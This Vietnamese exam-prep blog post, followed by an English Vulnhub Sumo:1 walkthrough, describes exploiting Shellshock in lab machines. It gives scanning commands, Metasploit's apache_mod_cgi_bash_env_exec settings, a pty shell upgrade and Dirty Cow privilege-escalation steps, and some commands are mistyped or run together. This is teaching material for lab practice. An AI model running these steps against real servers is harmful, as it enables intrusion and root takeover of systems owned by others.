- Lưu ý, đây là RealEXAM hay Dump Thực Hành nha các bạn, do đó hãy lưu vào note ngay!
Vừa qua, khi làm bài thi thực hành hay ôn luyện cho các môn như CEH Master, ECSA Practice, CPENT, LPT hay PENTEST + tôi thấy nhiều bài ra lỗi về ShellShock, một lỗi khá cũ khiến nhiều người bỏ qua ,shellshock rất nguy hiểm như kiểu Log4J ngày nay. Không khó để tìm thấy các máy bị lỗi này vẫn còn đầy trên mạng, nhưng ở đây chúng ta chỉ bàn đến các pentest lab để mọi người thực hành cho thật nhuần nhuyễn , bên canh đó hãy ghi chú các câu lệnh hay cú pháp chính và một cuốn sổ tay để khi thi có thể mở ra xem lại, hoặc lưu online trên github, lưu local và các chương trình ghi chú sao cho thuận tiện và dễ tìm.
Trong bài này ta sẽ tham khảo các ví dụ shellshock từ ctf Sumo-1, TryHackMe ShellShock và Pentester Lab ShellShock. Với các bạn thuộc lớp CEH v11 ANSI hãy xem kỹ chương 6, còn CEH v11 Master hãy luyện trên lab online. Bên cạnh đó thì iLab của CPENT đều có đầy đủ những bài tập này để các bạn luyện tập.
Tình huốn trong bài thi như sau : Các bạn hãy tấn công máy Ubuntu có IP là 172.17.19.5 và tìm khóa secret.txt. Sau khi dò quét thì chỉ thấy mỗi port 80 mở với cú pháp nmap -sV -sC -v -p- -T4 -sT 172.16.19.5 , kết quả quét khá rối nên tôi thêm -Pn -n vào xem sao thì vẫn thấy mỗi cái port 80 mà không tìm thấy gì khác ? Vào thử website thì chỉ có mỗi trang Apache Default nên hy vọng là trúng tủ bài ShellShock.
Do đó tôi thử dùng nikto để quét xem có bug này hay không thì hình như không thấy, hay là do mình hoa cả mặt vì làm bài thi trên mô hình lab on demand là khá chuối, nó cứ lag lag rất nãn, nhưng hãy xem như đó là 1 trở ngại mà ta phải vượt qua.
Lưu ý : Có lần khi thi nó lag đến nổ không chạy được lệnh, mặc dù đã xác định được hướng tấn công nhưng khi rê chuột vào lab là nó trôi đi cả vài cm, stresst quá nên phải nhăn cho proctor nhờ hỗ trợ, họ bảo mình kiểm tra lại đường truyền với speedtest, tôi test thì up / down đều trên 100 Mb nên bên đ1o nó restart lại server hay sao đó, hoặc nó có chỉnh lại một chút nên khi vào lại ổn hơn, dù vẫn chậm nhưng làm vẫn qua. Lúc đó cũng có thể do cáp mạng dưới biển bị cá mập cắn. Và kinh nghiệm là nên nhắn proctor nhờ hỗ trợ khi cần, và không phải lúc nào họ cũng ngồi nhòm các bạn vì chắc chắc là rất chán nên tôi phải nhắn vài lần mới được, có khi nó ngũ mẹ cũng nên. Điều này chứng tỏ khi thi các bạn vẫn có thể nhờ sự hỗ trợ từ xa và tôi cũng có nhờ vài sự hỗ trợ khi cần. Giống như khi các bạn tìm lỗi hay code chương trình vậy, cứ hỏi ai biết và nếu họ chỉ cho là nhanh nhất, vấn đề là hỏi ai và họ có chỉ cho hay không là do sự ăn ở của bạn, xem như nó cũng là “nội lực” của các bạn trong vấn đề giao tiếp. Quay trở lại vấn đề chính khi nikto không thấy gì cả hay do mình quáng gà thì tôi lấy chương trình brute force dir ra , cái này trong lớp OWASP Web Hacking thì nó nằm ở chương đầu tiên hay sau chương OSINT gì đó, và lúc nào cũng hữu ích, 2 tool hàng đầu là drib & gobuster , hoặc dùng giao diện GUI là OWASP dirbuster ….
Nên việc tiếp theo là chúng ta nên dùng dirb để quét thư mục , kiểu như lệnh sau:
root@kali:~# dirb http://1172.17.19.5/ /usr/share/wordlists/dirb/common.txt
Các bạn có thể thấy đây là một tình huống dò quét cạn, nên thuật ngữ hay gọi là bruteforce, và bruteforce thì phải có từ điển như cái common.txt.
Nếu muốn test lệnh này trực tuyến cho nó trực quan thì lôi kali hay parrot ra và thử :
kali > dirb http://webscantest.com /usr/share/dirb/wordlists/vulns/apache.txt
Vậy mà có 1 câu hỏi CEH ANSI làm nhiều bạn nát óc là tình huống bẻ khóa gì đó là bruteforce hay dictonary attack, tôi nhớ có tìm và phân tích nhưng giờ gặp lại chắc cũng không biết nên chọn cái gì 🙂
Kết quả dò ra được thư mục cgi-bin là tiềm năng nhất, sau đó tìm thêm tập tin cgi hay .sh với -x .sh thì không thấy gì, nên lại bruteforce thư mục cgi-bin xem trong đó có gì mà không thấy, loay hoay cả buổi suy nghĩ lung tung hay là nó bị bug gì khác, hay là log4, apache struct nhưng mà k thấy nó có thêm port nào nên lại quay ra thử quét thêm với từ điển medium thì thấy thư mục cinema (mà thư mục này thì common.txt phải dò ra chứ nhĩ, nhưng thôi kệ nó, hơi đâu lăn ăn cho hết giờ).
Tuy nhiên, mấy kiểu dò này trong các bài của CEH Master (bài thi thực tế) tôi hay dùng gobuster hơn (trên Parrot OS dùng để làm máy tấn công nó có sẳn rồi, không cần cài), nên tôi thử lại và cũng thấy thư mục cgi-bin/cinema , đoạn này thì trúng tủ vì tôi nhớ có 1 bài bị shellshock trong khi truy cập vào trang web cinema trên nên không dò quét thêm mà tôi thử exploit luôn xem sao …
… và bài thi ở đây họ không cấm dùng Metasploit nên thử vận may ngay,và kết quả như hình sau …

python -c ‘import pty; pty.spawn(“/bin/bash”)’
Ở đây thì tôi thử chuyển qua shell (trên metasploit) và locate secret.txt thấy nó nằm trong thư mục Documents nên chạy lệnh cat đọc fiel secret.txt có flag luôn.
Như vậy, các bạn thấy kiểu bài này không quá khó nhưng có khi cũng vất vã, nếu không luyện lab cho nhuyễn, và đây cũng là lỗi “huyền thoai” rồi, nên các bạn cần nắm cách xử lý nó khi không dùng metasploit với burbsuite hay dùng curl qua các bài sau đây ….

Sumo: 1 Vulnhub Walkthrough
Penetration Testing Methodology
- Network Scanning
- Netdiscover scan
- Nmap Scan
- Enumeration
- Enumerating HTTP service on Browser
- Enumerating using Nikto
- Exploitation
- Exploiting Shellshock Vulnerability
- Gaining Meterpreter
- Post Exploitation
- Enumerating for Escalating Privileges
- Privilege Escalation
- Dirty Cow
- Reading Root Flag
Walkthrough
Network Scanning
We begin by scanning our network for the target machine using Netdiscover. The target machine is active on 192.168.1.104
netdiscover

Let’s scan it and see which services are running and which ports are open.
nmap -p- -A 192.168.1.104

Enumeration
The scan gives us a lot of good and useful information, but what stands out the most is that port 22 and 80 are open, let’s explore port 80 first and see what we can find there.

This webpage seemed like a dead-end so, we decided to perform a Nikto scan in the hope that it will provide us with some more insight.
nikto -h http://192.168.1.104
The Nikto scans the web application to find the /cgi-bin/ directory. on further inspection, the application was found vulnerable to shellshock vulnerability. Time to exploit it.

Exploitation
Open a terminal type msfconsole for loading Metasploit framework and use the following module. This module targets CGI scripts in the Apache webserver by setting the HTTP_USER_AGENT environment variable to a malicious function definition.
use exploit/multi/http/apache_mod_cgi_bash_env_exec msf exploit(apache_mod_cgi_bash_env_exec) >set rhost 192.168.1.104 msf exploit(apache_mod_cgi_bash_env_exec) >set lhost 192.168.1.112 msf exploit(apache_mod_cgi_bash_env_exec) >set targeturi /cgi-bin/test msf exploit(apache_mod_cgi_bash_env_exec) >expoit

We ran the sysinfo command to find that the Operating System of the Machine is Ubuntu 12.04. Operating Systems this old have a vulnerable kernel. We should try DIRTYCOW.
Privilege Escalation
I downloaded the exploit inside the host machine and then compiled it before running the exploit, so I ran the following commands.
gcc -pthread c0w.c -o c0w

Next, we upload that compiled file in the remote shell for getting into the root.
cd /tmp upload /root/c0w . ./c0w

The shell that was generated has elevated privileges. To read the Root Flag, we will first convert this shell into a proper shell. Then we used the files created by the Dirty Cow exploit we log in as root. We can see that we have the root flag.
shell python -c 'import pty; pty.spawn("/bin/sh") ./c0w /usr/bin/passwd cd /root cat root.txt
Here we got our root flag. So that’s for now. See you next time.

Author: Sushma Ahuja is a Technical Writer, Researcher, and Penetration Tester